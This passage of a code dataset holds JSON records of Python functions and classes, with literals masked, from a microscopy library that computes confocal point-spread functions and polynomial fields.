polydisperse\nlight.\n\nReturns a list of points and weights of the final wavevector's distri-\nbution, in units of the initial wavevector.\n\nParameters\n----------\n    kfki : Float\n        The mean of the polydisperse outgoing wavevectors.\n    sigkf : Float\n        The standard dev. of the polydisperse outgoing wavevectors.\n    dist_type : {`gaussian`, `gamma`}, optional\n        The distribution, gaussian or gamma, of the wavevectors.\n        Default is `gaussian`\n    nkpts : Int, optional\n        The number of quadrature points to use. Default is 3\nReturns\n-------\n    kfkipts : numpy.ndarray\n        The Gauss quadrature points at which to calculate kfki.\n    wts : numpy.ndarray\n        The associated Gauss quadrature weights.", "id": "f5753:m10"}
{"signature": "def calculate_polychrome_pinhole_psf(x, y, z, normalize=False, kfki=<NUM_LIT>,<EOL>sigkf=<NUM_LIT:0.1>, zint=<NUM_LIT>, nkpts=<NUM_LIT:3>, dist_type='<STR_LIT>', **kwargs):", "body": "<EOL>kfkipts, wts = get_polydisp_pts_wts(kfki, sigkf, dist_type=dist_type,<EOL>nkpts=nkpts)<EOL>rho = np.sqrt(x**<NUM_LIT:2> + y**<NUM_LIT:2>)<EOL>phi = np.arctan2(y, x)<EOL>hsym, hasym = get_hsym_asym(rho, z, zint=zint, get_hdet=False, **kwargs)<EOL>hilm = (hsym + np.cos(<NUM_LIT:2>*phi)*hasym)<EOL>hdet_func = lambda kfki: get_hsym_asym(rho*kfki, z*kfki,<EOL>zint=kfki*zint, get_hdet=True, **kwargs)[<NUM_LIT:0>]<EOL>inner = [wts[a] * hdet_func(kfkipts[a]) for a in range(nkpts)]<EOL>hdet = np.sum(inner, axis=<NUM_LIT:0>)<EOL>if normalize:<EOL><INDENT>hilm /= hilm.sum()<EOL>hdet /= hdet.sum()<EOL><DEDENT>psf = hdet * hilm<EOL>return psf if normalize else psf / psf.sum()<EOL>", "docstring": "Calculates the perfect-pinhole PSF, for a set of points (x,y,z).\n\nParameters\n-----------\n    x : numpy.ndarray\n        The x-coordinate of the PSF in units of 1/ the wavevector of\n        the incoming light.\n    y : numpy.ndarray\n        The y-coordinate.\n    z : numpy.ndarray\n        The z-coordinate.\n    kfki : Float\n        The mean ratio of the outgoing light's wavevector to the incoming\n        light's. Default is 0.89.\n    sigkf : Float\n        Standard deviation of kfki; the distribution of the light values\n        will be approximately kfki +- sigkf.\n    zint : Float\n        The (scalar) distance from the interface, in units of\n        1/k_incoming. Default is 100.0\n    dist_type: The distribution type of the polychromatic light.\n        Can be one of 'laguerre'/'gamma' or 'gaussian.' If 'gaussian'\n        the resulting k-values are taken in absolute value. Default\n        is 'gaussian.'\n    normalize : Bool\n        Set to True to normalize the psf correctly, accounting for\n        intensity variations with depth. This will give a psf that does\n        not sum to 1. Default is False.\n\nOther Parameters\n----------------\n    alpha : Float\n        The opening angle of the lens. Default is 1.\n    n2n1 : Float\n        The ratio of the index in the 2nd medium to that in the first.\n        Default is 0.95\n\nReturns\n-------\n    psf : numpy.ndarray, of shape x.shape\n\nComments\n--------\n    (1) The PSF is not necessarily centered on the z=0 pixel, since the\n        calculation includes the shift.\n\n    (2) If you want z-varying illumination of the psf then set\n        normalize=True. This does the normalization by doing:\n            hsym, hasym /= hsym.sum()\n            hdet /= hdet.sum()\n        and then calculating the psf that way. So if you want the\n        intensity to be correct you need to use a large-ish array of\n        roughly equally spaced points. Or do it manually by calling\n        get_hsym_asym()", "id": "f5753:m11"}
{"signature": "def get_psf_scalar(x, y, z, kfki=<NUM_LIT:1.>, zint=<NUM_LIT>, normalize=False, **kwargs):", "body": "rho = np.sqrt(x**<NUM_LIT:2> + y**<NUM_LIT:2>)<EOL>phi = np.arctan2(y, x)<EOL>K1 = get_K(rho, z, K=<NUM_LIT:1>,zint=zint,get_hdet=True, **kwargs)<EOL>hilm = np.real( K1*K1.conj() )<EOL>if np.abs(kfki - <NUM_LIT:1.0>) > <NUM_LIT>:<EOL><INDENT>Kdet = get_K(rho*kfki, z*kfki, K=<NUM_LIT:1>, zint=zint*kfki, get_hdet=True,<EOL>**kwargs)<EOL>hdet = np.real( Kdet*Kdet.conj() )<EOL><DEDENT>else:<EOL><INDENT>hdet = hilm.copy()<EOL><DEDENT>if normalize:<EOL><INDENT>hilm /= hsym.sum()<EOL>hdet /= hdet.sum()<EOL>psf = hilm * hdet<EOL><DEDENT>else:<EOL><INDENT>psf = hilm * hdet<EOL><DEDENT>return psf<EOL>", "docstring": "Calculates a scalar (non-vectorial light) approximation to a confocal PSF\n\nThe calculation is approximate, since it ignores the effects of\npolarization and apodization, but should be ~3x faster.\n\nParameters\n----------\n    x : numpy.ndarray\n        The x-coordinate of the PSF in units of 1/ the wavevector\n        of the incoming light.\n    y : numpy.ndarray\n        The y-coordinate of the PSF in units of 1/ the wavevector\n        of the incoming light. Must be the same shape as `x`.\n    z : numpy.ndarray\n        The z-coordinate of the PSF in units of 1/ the wavevector\n        of the incoming light. Must be the same shape as `x`.\n    kfki : Float, optional\n        The ratio of wavevectors of the outgoing light to the\n        incoming light. Set to 1.0 to speed up the calculation\n        by another factor of 2. Default is 1.0\n    zint : Float, optional\n        The distance from to the optical interface, in units of\n        1/k_incoming. Default is 100.\n    normalize : Bool\n        Set to True to normalize the psf correctly, accounting for\n        intensity variations with depth. This will give a psf that does\n        not sum to 1. Default is False.\n    alpha : Float\n        The opening angle of the lens. Default is 1.\n    n2n1 : Float\n        The ratio of the index in the 2nd medium to that in the first.\n        Default is 0.95\n\nOutputs:\n    - psf: x.shape numpy.array.\n\nComments:\n    (1) Note that the PSF is not necessarily centered on the z=0 pixel,\n        since the calculation includes the shift.\n\n    (2) If you want z-varying illumination of the psf then set\n        normalize=True. This does the normalization by doing:\n            hsym, hasym /= hsym.sum()\n            hdet /= hdet.sum()\n        and then calculating the psf that way. So if you want the\n        intensity to be correct you need to use a large-ish array of\n        roughly equally spaced points. Or do it manually by calling\n        get_hsym_asym()", "id": "f5753:m12"}
{"signature": "def calculate_linescan_ilm_psf(y,z, polar_angle=<NUM_LIT:0.>, nlpts=<NUM_LIT:1>,<EOL>pinhole_width=<NUM_LIT:1>, use_laggauss=False, **kwargs):", "body": "if use_laggauss:<EOL><INDENT>x_vals, wts = calc_pts_lag()<EOL><DEDENT>else:<EOL><INDENT>x_vals, wts = calc_pts_hg()<EOL><DEDENT>xg, yg, zg = [np.zeros( list(y.shape) + [x_vals.size] ) for a in range(<NUM_LIT:3>)]<EOL>hilm = np.zeros(xg.shape)<EOL>for a in range(x_vals.size):<EOL><INDENT>xg[...,a] = x_vals[a]<EOL>yg[...,a] = y.copy()<EOL>zg[...,a] = z.copy()<EOL><DEDENT>y_pinhole, wts_pinhole = np.polynomial.hermite.hermgauss(nlpts)<EOL>y_pinhole *= np.sqrt(<NUM_LIT:2>)*pinhole_width<EOL>wts_pinhole /= np.sqrt(np.pi)<EOL>for yp, wp in zip(y_pinhole, wts_pinhole):<EOL><INDENT>rho = np.sqrt(xg*xg + (yg-yp)*(yg-yp))<EOL>phi = np.arctan2(yg,xg)<EOL>hsym, hasym = get_hsym_asym(rho,zg,get_hdet = False, **kwargs)<EOL>hilm += wp*(hsym + np.cos(<NUM_LIT:2>*(phi-polar_angle))*hasym)<EOL><DEDENT>for a in range(x_vals.size):<EOL><INDENT>hilm[...,a] *= wts[a]<EOL><DEDENT>return hilm.sum(axis=-<NUM_LIT:1>)*<NUM_LIT><EOL>", "docstring": "Calculates the illumination PSF for a line-scanning confocal with the\nconfocal line oriented along the x direction.\n\nParameters\n----------\n    y : numpy.ndarray\n        The y points (in-plane, perpendicular to the line direction)\n        at which to evaluate the illumination PSF, in units of 1/k.\n        Arbitrary shape.\n    z : numpy.ndarray\n        The z points (optical axis) at which to evaluate the illum-\n        ination PSF, in units of 1/k. Must be the same shape as `y`\n    polar_angle : Float, optional\n        The angle of the illuminating light's polarization with\n        respect to the line's orientation along x. Default is 0.\n    pinhole_width : Float, optional\n        The width of the geometric image of the line projected onto\n        the sample, in units of 1/k. Default is 1. The perfect line\n        image is assumed to be a Gaussian. If `nlpts` is set to 1,\n        the line will always be of zero width.\n    nlpts : Int, optional\n        The number of points to use for Hermite-gauss quadrature over\n        the line's width. Default is 1, corresponding to a zero-width\n        line.\n    use_laggauss : Bool, optional\n        Set to True to use a more-accurate sinh'd Laguerre-Gauss\n        quadrature for integration over the line's length (more accurate\n        in the same amount of time). Default is False for backwards\n        compatibility.  FIXME what did we do here?\n\nOther Parameters\n----------------\n    alpha : Float, optional\n        The acceptance angle of the lens, on (0,pi/2). Default is 1.\n    zint : Float, optional\n        The distance of the len's unaberrated focal point from the\n        optical interface, in units of 1/k. Default is 100.\n    n2n1 : Float, optional\n        The ratio n2/n1 of the index mismatch between the sample\n        (index n2) and the optical train (index n1). Must be on\n        [0,inf) but should be near 1. Default is 0.95\n\nReturns\n-------\n    hilm : numpy.ndarray\n        The line illumination, of the same shape as y and z.", "id": "f5753:m13"}
{"signature": "def calculate_linescan_psf(x, y, z, normalize=False, kfki=<NUM_LIT>, zint=<NUM_LIT>,<EOL>polar_angle=<NUM_LIT:0.>, wrap=True, **kwargs):", "body": "<EOL>if wrap:<EOL><INDENT>xpts = vec_to_halfvec(x)<EOL>ypts = vec_to_halfvec(y)<EOL>x3, y3, z3 = np.meshgrid(xpts, ypts, z, indexing='<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>x3,y3,z3 = np.meshgrid(x, y, z, indexing='<STR_LIT>')<EOL><DEDENT>rho3 = np.sqrt(x3*x3 + y3*y3)<EOL>if wrap:<EOL><INDENT>y2,z2 = np.meshgrid(ypts, z, indexing='<STR_LIT>')<EOL>hilm0 = calculate_linescan_ilm_psf(y2, z2, zint=zint,<EOL>polar_angle=polar_angle, **kwargs)<EOL>if ypts[<NUM_LIT:0>] == <NUM_LIT:0>:<EOL><INDENT>hilm = np.append(hilm0[-<NUM_LIT:1>:<NUM_LIT:0>:-<NUM_LIT:1>], hilm0, axis=<NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>hilm = np.append(hilm0[::-<NUM_LIT:1>], hilm0, axis=<NUM_LIT:0>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>y2,z2 = np.meshgrid(y, z, indexing='<STR_LIT>')<EOL>hilm = calculate_linescan_ilm_psf(y2, z2, zint=zint,<EOL>polar_angle=polar_angle, **kwargs)<EOL><DEDENT>if wrap:<EOL><INDENT>func = lambda *args: get_hsym_asym(rho3*kfki, z3*kfki, zint=kfki*zint,<EOL>get_hdet=True, **kwargs)[<NUM_LIT:0>]<EOL>hdet = wrap_and_calc_psf(xpts, ypts, z, func)<EOL><DEDENT>else:<EOL><INDENT>hdet, toss = get_hsym_asym(rho3*kfki, z3*kfki, zint=kfki*zint,<EOL>get_hdet=True, **kwargs)<EOL><DEDENT>if normalize:<EOL><INDENT>hilm /= hilm.sum()<EOL>hdet /= hdet.sum()<EOL><DEDENT>for a in range(x.size):<EOL><INDENT>hdet[a] *= hilm<EOL><DEDENT>return hdet if normalize else hdet / hdet.sum()<EOL>", "docstring": "Calculates the point spread function of a line-scanning confocal.\n\nMake x,y,z  __1D__ numpy.arrays, with x the direction along the\nscan line. (to make the calculation faster since I dont' need the line\nilm for each x).\n\nParameters\n----------\n    x : numpy.ndarray\n        _One_dimensional_ array of the x grid points (along the line\n        illumination) at which to evaluate the psf. In units of\n        1/k_incoming.\n    y : numpy.ndarray\n        _One_dimensional_ array of the y grid points (in plane,\n        perpendicular to the line illumination) at which to evaluate\n        the psf. In units of 1/k_incoming.\n    z : numpy.ndarray\n        _One_dimensional_ array of the z grid points (along the\n        optical axis) at which to evaluate the psf. In units of\n        1/k_incoming.\n    normalize : Bool, optional\n        Set to True to include the effects of PSF normalization on\n        the image intensity. Default is False.\n    kfki : Float, optional\n        The ratio of the final light's wavevector to the incoming.\n        Default is 0.889\n    zint : Float, optional\n        The position of the optical interface, in units of 1/k_incoming\n        Default is 100.\n    wrap : Bool, optional\n        If True, wraps the psf calculation for speed, assuming that\n        the input x, y are regularly-spaced points. If x,y are not\n        regularly spaced then `wrap` must be set to False. Default is True.\n    polar_angle : Float, optional\n        The polarization angle of the light (radians) with respect to\n        the line direction (x). Default is 0.\n\nOther Parameters\n----------------\n    alpha : Float\n        The opening angle of the lens. Default is 1.\n    n2n1 : Float\n        The ratio of the index in the 2nd medium to that in the first.\n        Default is 0.95\n\nReturns\n-------\n    numpy.ndarray\n        A 3D- numpy.array of the point-spread function. Indexing is\n        psf[x,y,z]; shape is [x.size, y,size, z.size]", "id": "f5753:m14"}
{"signature": "def calculate_polychrome_linescan_psf(x, y, z, normalize=False, kfki=<NUM_LIT>,<EOL>sigkf=<NUM_LIT:0.1>, zint=<NUM_LIT>, nkpts=<NUM_LIT:3>, dist_type='<STR_LIT>', wrap=True,<EOL>**kwargs):", "body": "kfkipts, wts = get_polydisp_pts_wts(kfki, sigkf, dist_type=dist_type,<EOL>nkpts=nkpts)<EOL>if wrap:<EOL><INDENT>xpts = vec_to_halfvec(x)<EOL>ypts = vec_to_halfvec(y)<EOL>x3, y3, z3 = np.meshgrid(xpts, ypts, z, indexing='<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>x3,y3,z3 = np.meshgrid(x, y, z, indexing='<STR_LIT>')<EOL><DEDENT>rho3 = np.sqrt(x3*x3 + y3*y3)<EOL>if wrap:<EOL><INDENT>y2,z2 = np.meshgrid(ypts, z, indexing='<STR_LIT>')<EOL>hilm0 = calculate_linescan_ilm_psf(y2, z2, zint=zint, **kwargs)<EOL>if ypts[<NUM_LIT:0>] == <NUM_LIT:0>:<EOL><INDENT>hilm = np.append(hilm0[-<NUM_LIT:1>:<NUM_LIT:0>:-<NUM_LIT:1>], hilm0, axis=<NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>hilm = np.append(hilm0[::-<NUM_LIT:1>], hilm0, axis=<NUM_LIT:0>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>y2,z2 = np.meshgrid(y, z, indexing='<STR_LIT>')<EOL>hilm = calculate_linescan_ilm_psf(y2, z2, zint=zint, **kwargs)<EOL><DEDENT>if wrap:<EOL><INDENT>func = lambda x,y,z, kfki=<NUM_LIT:1.>: get_hsym_asym(rho3*kfki, z3*kfki,<EOL>zint=kfki*zint, get_hdet=True, **kwargs)[<NUM_LIT:0>]<EOL>hdet_func = lambda kfki: wrap_and_calc_psf(xpts,ypts,z, func, kfki=kfki)<EOL><DEDENT>else:<EOL><INDENT>hdet_func = lambda kfki: get_hsym_asym(rho3*kfki, z3*kfki,<EOL>zint=kfki*zint, get_hdet=True, **kwargs)[<NUM_LIT:0>]<EOL><DEDENT>inner = [wts[a] * hdet_func(kfkipts[a]) for a in range(nkpts)]<EOL>hdet = np.sum(inner, axis=<NUM_LIT:0>)<EOL>if normalize:<EOL><INDENT>hilm /= hilm.sum()<EOL>hdet /= hdet.sum()<EOL><DEDENT>for a in range(x.size):<EOL><INDENT>hdet[a] *= hilm<EOL><DEDENT>return hdet if normalize else hdet / hdet.sum()<EOL>", "docstring": "Calculates the point spread function of a line-scanning confocal with\npolydisperse dye emission.\n\nMake x,y,z  __1D__ numpy.arrays, with x the direction along the\nscan line. (to make the calculation faster since I dont' need the line\nilm for each x).\n\nParameters\n----------\n    x : numpy.ndarray\n        _One_dimensional_ array of the x grid points (along the line\n        illumination) at which to evaluate the psf. In units of\n        1/k_incoming.\n    y : numpy.ndarray\n        _One_dimensional_ array of the y grid points (in plane,\n        perpendicular to the line illumination) at which to evaluate\n        the psf. In units of 1/k_incoming.\n    z : numpy.ndarray\n        _One_dimensional_ array of the z grid points (along the\n        optical axis) at which to evaluate the psf. In units of\n        1/k_incoming.\n    normalize : Bool, optional\n        Set to True to include the effects of PSF normalization on\n        the image intensity. Default is False.\n    kfki : Float, optional\n        The mean of the ratio of the final light's wavevector to the\n        incoming. Default is 0.889\n    sigkf : Float, optional\n        The standard deviation of the ratio of the final light's\n        wavevector to the incoming. Default is 0.1\n    zint : Float, optional\n        The position of the optical interface, in units of 1/k_incoming\n        Default is 100.\n    dist_type : {`gaussian`, `gamma`}, optional\n        The distribution of the outgoing light. If 'gaussian' the\n        resulting k-values are taken in absolute value. Default\n        is `gaussian`\n    wrap : Bool, optional\n        If True, wraps the psf calculation for speed, assuming that\n        the input x, y are regularly-spaced points. If x,y are not\n        regularly spaced then `wrap` must be set to False. Default is True.\n\nOther Parameters\n----------------\n    polar_angle : Float, optional\n        The polarization angle of the light (radians) with respect to\n        the line direction (x). Default is 0.\n    alpha : Float\n        The opening angle of the lens. Default is 1.\n    n2n1 : Float\n        The ratio of the index in the 2nd medium to that in the first.\n        Default is 0.95\n\nReturns\n-------\n    numpy.ndarray\n        A 3D- numpy.array of the point-spread function. Indexing is\n        psf[x,y,z]; shape is [x.size, y,size, z.size]\nNotes\n-----\n    Neither distribution type is perfect. If sigkf/k0 is big (>0.5ish)\n    then part of the Gaussian is negative. To avoid issues an abs() is\n    taken, but then the actual mean and variance are not what is\n    supplied. Conversely, if sigkf/k0 is small (<0.0815), then the\n    requisite associated Laguerre quadrature becomes unstable. To\n    prevent this sigkf/k0 is effectively clipped to be > 0.0815.", "id": "f5753:m15"}
{"signature": "def wrap_and_calc_psf(xpts, ypts, zpts, func, **kwargs):", "body": "<EOL>for t in [xpts,ypts,zpts]:<EOL><INDENT>if len(t.shape) != <NUM_LIT:1>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>dx = <NUM_LIT:1> if xpts[<NUM_LIT:0>]==<NUM_LIT:0> else <NUM_LIT:0><EOL>dy = <NUM_LIT:1> if ypts[<NUM_LIT:0>]==<NUM_LIT:0> else <NUM_LIT:0><EOL>xg,yg,zg = np.meshgrid(xpts,ypts,zpts, indexing='<STR_LIT>')<EOL>xs, ys, zs = [ pts.size for pts in [xpts,ypts,zpts] ]<EOL>to_return = np.zeros([<NUM_LIT:2>*xs-dx, <NUM_LIT:2>*ys-dy, zs])<EOL>up_corner_psf = func(xg,yg,zg, **kwargs)<EOL>to_return[xs-dx:,ys-dy:,:] = up_corner_psf.copy()                     <EOL>if dx == <NUM_LIT:0>:<EOL><INDENT>to_return[:xs-dx,ys-dy:,:] = up_corner_psf[::-<NUM_LIT:1>,:,:].copy()       <EOL><DEDENT>else:<EOL><INDENT>to_return[:xs-dx,ys-dy:,:] = up_corner_psf[-<NUM_LIT:1>:<NUM_LIT:0>:-<NUM_LIT:1>,:,:].copy()    <EOL><DEDENT>if dy == <NUM_LIT:0>:<EOL><INDENT>to_return[xs-dx:,:ys-dy,:] = up_corner_psf[:,::-<NUM_LIT:1>,:].copy()       <EOL><DEDENT>else:<EOL><INDENT>to_return[xs-dx:,:ys-dy,:] = up_corner_psf[:,-<NUM_LIT:1>:<NUM_LIT:0>:-<NUM_LIT:1>,:].copy()    <EOL><DEDENT>if (dx == <NUM_LIT:0>) and (dy == <NUM_LIT:0>):<EOL><INDENT>to_return[:xs-dx,:ys-dy,:] = up_corner_psf[::-<NUM_LIT:1>,::-<NUM_LIT:1>,:].copy()    <EOL><DEDENT>elif (dx == <NUM_LIT:0>) and (dy != <NUM_LIT:0>):<EOL><INDENT>to_return[:xs-dx,:ys-dy,:] = up_corner_psf[::-<NUM_LIT:1>,-<NUM_LIT:1>:<NUM_LIT:0>:-<NUM_LIT:1>,:].copy() <EOL><DEDENT>elif (dy == <NUM_LIT:0>) and (dx != <NUM_LIT:0>):<EOL><INDENT>to_return[:xs-dx,:ys-dy,:] = up_corner_psf[-<NUM_LIT:1>:<NUM_LIT:0>:-<NUM_LIT:1>,::-<NUM_LIT:1>,:].copy() <EOL><DEDENT>else: <EOL><INDENT>to_return[:xs-dx,:ys-dy,:] = up_corner_psf[-<NUM_LIT:1>:<NUM_LIT:0>:-<NUM_LIT:1>,-<NUM_LIT:1>:<NUM_LIT:0>:-<NUM_LIT:1>,:].copy()<EOL><DEDENT>return to_return<EOL>", "docstring": "Wraps a point-spread function in x and y.\n\nSpeeds up psf calculations by a factor of 4 for free / some broadcasting\nby exploiting the x->-x, y->-y symmetry of a psf function. Pass x and y\nas the positive (say) values of the coordinates at which to evaluate func,\nand it will return the function sampled at [x[::-1]] + x. Note it is not\nwrapped in z.\n\nParameters\n----------\n    xpts : numpy.ndarray\n        1D N-element numpy.array of the x-points to evaluate func at.\n    ypts : numpy.ndarray\n        y-points to evaluate func at.\n    zpts : numpy.ndarray\n        z-points to evaluate func at.\n    func : function\n        The function to evaluate and wrap around. Syntax must be\n        func(x,y,z, **kwargs)\n    **kwargs : Any parameters passed to the function.\n\nOutputs\n-------\n    to_return : numpy.ndarray\n        The wrapped and calculated psf, of shape\n        [2*x.size - x0, 2*y.size - y0, z.size], where x0=1 if x[0]=0, etc.\n\nNotes\n-----\nThe coordinates should be something like numpy.arange(start, stop, diff),\nwith start near 0. If x[0]==0, all of x is calcualted but only x[1:]\nis wrapped (i.e. it works whether or not x[0]=0).\n\nThis doesn't work directly for a linescan psf because the illumination\nportion is not like a grid. However, the illumination and detection\nare already combined with wrap_and_calc in calculate_linescan_psf etc.", "id": "f5753:m16"}
{"signature": "def vec_to_halfvec(vec):", "body": "d = vec[<NUM_LIT:1>:] - vec[:-<NUM_LIT:1>]<EOL>if ((d/d.mean()).std() > <NUM_LIT>) or (d.mean() < <NUM_LIT:0>):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>dx = d.mean()<EOL>lowest = np.abs(vec).min()<EOL>highest = np.abs(vec).max()<EOL>return np.arange(lowest, highest + <NUM_LIT:0.1>*dx, dx).astype(vec.dtype)<EOL>", "docstring": "Transforms a vector np.arange(-N, M, dx) to np.arange(min(|vec|), max(N,M),dx)]", "id": "f5753:m17"}
{"signature": "def __init__(self, params, values, shape=None):", "body": "self.shape = shape<EOL>super(PSF, self).__init__(params, values, category='<STR_LIT>')<EOL>if self.shape:<EOL><INDENT>self.initialize()<EOL><DEDENT>", "docstring": "Point spread function classes must contain the following classes in order\nto interface with the states class:\n\n    get_padding_size(z) : get the psf size at certain z position\n    get_params : return the parameters of the psf\n    set_tile : set the current update tile size\n    update : update the psf based on new parameters\n    execute : apply the psf to an image", "id": "f5755:c0:m0"}
{"signature": "def __init__(self):", "body": "self.min_support = <NUM_LIT:0><EOL>super(IdentityPSF, self).__init__(params=['<STR_LIT>'], values=[<NUM_LIT:0>])<EOL>", "docstring": "Delta-function PSF; returns the field passed to execute identically. \nParams is an N-element numpy.ndarray, doesn't do anything.", "id": "f5755:c1:m0"}
{"signature": "def __init__(self, params, values, shape=None):", "body": "super(PSF4D, self).__init__(params=params, values=values, shape=shape)<EOL>", "docstring": "4-dimensional Point-Spread-Function (PSF) is implemented by assuming\nthat the there is only z-dependence of parameters (so that it can be\nseparated into x-y and z parts).  Therefore, we keep track of 2D FFTs\nand X-Y psf functions that get convolved with FFTs.  Then, we manually\nconvolve in the z direction\n\nThe key variables are rpsf (2d) and kpsf (2d) which are used for the\nx-y convolution.  The z-convolution cannot be cached.", "id": "f5755:c4:m0"}
{"signature": "def rpsf_xy(self, vecs, z):", "body": "pass<EOL>", "docstring": "Returns the x-y plane real space psf function as a function of z values.\nThis function does not necessarily have to be normalized, it will be\nnormalized in k-space layer by layer later.", "id": "f5755:c4:m7"}
{"signature": "def rpsf_z(self, z, zp):", "body": "pass<EOL>", "docstring": "Returns the z dependence of the PSF.  This section needs to be noramlized.", "id": "f5755:c4:m8"}
{"signature": "def __init__(self, sigmas=(<NUM_LIT>,<NUM_LIT:0.5>,<NUM_LIT:1.0>), order=(<NUM_LIT:1>,<NUM_LIT:1>,<NUM_LIT:1>),<EOL>moment_order=(<NUM_LIT:3>,<NUM_LIT:3>), error=<NUM_LIT:1.0>/<NUM_LIT:255>, zrange=<NUM_LIT>, shape=None):", "body": "self.order = order<EOL>self.morder = moment_order<EOL>self.error = error<EOL>self.zrange = float(zrange)<EOL>self.poly_coeffs = {}<EOL>self.moment_coeffs = {}<EOL>params, values = [], []<EOL>for i, o in enumerate(order):<EOL><INDENT>d = ['<STR_LIT:z>', '<STR_LIT:y>', '<STR_LIT:x>']<EOL>tparams = ['<STR_LIT>' % (d[i], j) for j in range(o)]<EOL>tvalues = [sigmas[i]] + [<NUM_LIT:0>]*(o-<NUM_LIT:1>)<EOL>params.extend(tparams)<EOL>values.extend(tvalues)<EOL>self.poly_coeffs[i] = tparams<EOL><DEDENT>for i, o in enumerate(moment_order):<EOL><INDENT>t = ['<STR_LIT>', '<STR_LIT>']<EOL>self.moment_coeffs[t[i]] = {}<EOL>for j, d in enumerate(['<STR_LIT:z>', '<STR_LIT:y>', '<STR_LIT:x>']):<EOL><INDENT>tparams = [<EOL>'<STR_LIT>' % (t[i], d, k) for k in range(o)<EOL>]<EOL>tvalues = [<NUM_LIT:0>]*(o)<EOL>params.extend(tparams)<EOL>values.extend(tvalues)<EOL>self.moment_coeffs[t[i]][j] = tparams<EOL><DEDENT><DEDENT>super(GaussianMomentExpansion, self).__init__(<EOL>shape=shape, params=params, values=values<EOL>)<EOL>", "docstring": "3+1D PSF that is of the form:\n    (1+a*(3x-x^3) + b*(3-6*x^2+x^4))*exp(-(x/s)^2/2)\nwhere s is sigma, the scale factor.", "id": "f5755:c8:m0"}
{"signature": "@memoize()<EOL><INDENT>def _skew(self, x, z, d=<NUM_LIT:0>):<DEDENT>", "body": "<EOL>kval = (np.tanh(self._poly(z, self._kurtosis_coeffs(d)))+<NUM_LIT:1>)/<NUM_LIT><EOL>bdpoly = np.array([<EOL>-<NUM_LIT>,  <NUM_LIT>, -<NUM_LIT>,<EOL>-<NUM_LIT>, <NUM_LIT>, <NUM_LIT><EOL>])<EOL>top = np.polyval(bdpoly, kval)<EOL>skew = self._poly(z, self._skew_coeffs(d))<EOL>skewval = top*(np.tanh(skew) + <NUM_LIT:1>) - top<EOL>return skewval*(<NUM_LIT:3>*x - x**<NUM_LIT:3>)<EOL>", "docstring": "returns the kurtosis parameter for direction d, d=0 is rho, d=1 is z", "id": "f5755:c8:m7"}
{"signature": "@memoize()<EOL><INDENT>def _kurtosis(self, x, z, d=<NUM_LIT:0>):<DEDENT>", "body": "val = self._poly(z, self._kurtosis_coeffs(d))<EOL>return (np.tanh(val)+<NUM_LIT:1>)/<NUM_LIT>*(<NUM_LIT:3> - <NUM_LIT:6>*x**<NUM_LIT:2> + x**<NUM_LIT:4>)<EOL>", "docstring": "returns the kurtosis parameter for direction d, d=0 is rho, d=1 is z", "id": "f5755:c8:m8"}
{"signature": "def __init__(self, array, *args, **kwargs):", "body": "self.array = array<EOL>self.support = np.array(array.shape[<NUM_LIT:1>:])<EOL>super(FromArray, self).__init__(*args, params=['<STR_LIT>'], values=[<NUM_LIT:0>], **kwargs)<EOL>", "docstring": "Only thing to pass is the values of the point spread function (does not\nneed to be normalized) in the form of a numpy ndarray of shape\n\n(z', z, y, x)\n\nso if there are 50 layers in the image and the psf is at most 16 wide\nthen it must be shaped (50,16,16,16). The values of the psf must\nbe centered in this array. Hint: np.fft.fftfreq provides the correct\nordering of values for both even and odd lattices.", "id": "f5755:c9:m0"}
{"signature": "def __init__(self, order=(<NUM_LIT:1>,<NUM_LIT:1>,<NUM_LIT:1>), tileinfo=None, constval=None,<EOL>category='<STR_LIT>', shape=None, float_precision=np.float64):", "body": "self.shape = shape<EOL>self.order = order<EOL>self.tileinfo = tileinfo<EOL>self.category = category<EOL>c = category<EOL>if float_precision not in (np.float64, np.float32, np.float16):<EOL><INDENT>raise ValueError('<STR_LIT>' +<EOL>'<STR_LIT>')<EOL><DEDENT>self.float_precision = float_precision<EOL>params, values = [], []<EOL>self.param_term = {}<EOL>for order in product(*(range(o) for o in self.order)):<EOL><INDENT>p = c+'<STR_LIT>' % order<EOL>self.param_term[p] = order<EOL>params.append(p)<EOL>values.append(<NUM_LIT:0.0>)<EOL><DEDENT>if constval:<EOL><INDENT>values[<NUM_LIT:0>] = constval<EOL><DEDENT>super(Polynomial3D, self).__init__(<EOL>params=params, values=values, category=category<EOL>)<EOL>if self.shape:<EOL><INDENT>self.initialize()<EOL><DEDENT>", "docstring": "A polynomial 3D class for updating large fields of polys.\n\nParameters\n----------\nshape : `peri.util.Tile`\n    shape of the field (z,y,x)\n\norder : tuple\n    number of terms in each direction\n\ntileinfo : tuple of 2 `peri.util.Tile`\n    These objects help in the transfer of fields from different\n    sections of the same image to new fields. `tileinfo` is a tuple\n    containing the Tile representing the entire image as well as the\n    Tile representing this particular section of field. (typically\n    given by `peri.rawimage.tile`)\n\nconstval : float\n    The initial value of the entire field, if a constant.\n\nfloat_precision : numpy float datatype\n    One of numpy.float16, numpy.float32, numpy.float64; precision\n    for precomputed arrays. Default is np.float64; make it 16 or 32\n    to save memory.", "id": "f5756:c0:m0"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(LegendrePoly3D, self).__init__(*args, **kwargs)<EOL>", "docstring": "Same arguments are Polynomial3D", "id": "f5756:c1:m0"}
